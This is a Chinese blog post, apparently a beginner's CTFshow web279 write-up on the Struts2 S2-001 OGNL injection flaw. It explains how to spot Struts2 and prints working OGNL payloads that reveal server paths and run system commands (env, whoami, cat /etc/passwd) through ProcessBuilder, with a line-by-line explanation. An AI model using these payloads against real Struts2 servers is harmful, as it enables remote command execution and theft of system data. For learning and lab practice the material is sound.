web279(s2-001)

目前java小白一个,主要是学学别人的思路

进入题目,登录框一个

抓包也没发现什么东西

网上说是struts2框架

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

判断是不是基于struts2的一些方法:

1.通过页面回显的错误消息来判断,页面不回显错误消息时则无效

2.通过网页后缀来判断,如.do .action,有可能不准

        2.1如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的

        2.2如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json

3.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

回到前面的网站标题s2-001

Vulhub漏洞系列:struts2漏洞 S2-001 - FreeBuf网络安全行业门户

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

在登录框假如%{1+1}会返回2

看看paylaod

// 获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中

password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

或者工具

struts2scan

分析

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值

#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用

$主要是在Struts 2配置文件中,引用OGNL表达式

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}


%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

 解释

  1. 首先,使用了 Struts2 的 OGNL(Object-Graph Navigation Language)表达式语言来执行以下操作:

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start()

该代码创建了一个新的进程,并执行了一个命令,即 cat /etc/passwd。cat 命令用于查看文件内容,而 /etc/passwd 是一个包含系统用户信息的文件。

  • 接着,通过以下代码获取命令输出的输入流:

#b=#a.getInputStream()

  • 使用以下代码将输入流读取为字符流:

#c=new java.io.InputStreamReader(#b)

  • 创建一个缓冲字符读取器来读取字符流:

#d=new java.io.BufferedReader(#c)

  • 创建一个字符数组来存储读取到的字符:

#e=new char[50000]

  • 使用以下代码将字符读取到字符数组中:

#d.read(#e)

  • 通过以下代码获取当前请求的 HttpServletResponse 对象:

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")

  • 最后,以下代码将字符数组转换为字符串,并将其输出到 HttpServletResponse 的输出流中:

#f.getWriter().println(new java.lang.String(#e))

#f.getWriter().flush()

#f.getWriter().close()

参考:

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现_debug=command&expression表达式注入漏洞如何修复-CSDN博客

 目前也就是见识见识,胡言乱语记录了一下,以后懂得多了回来补充补充

  • 21
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_MOB_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值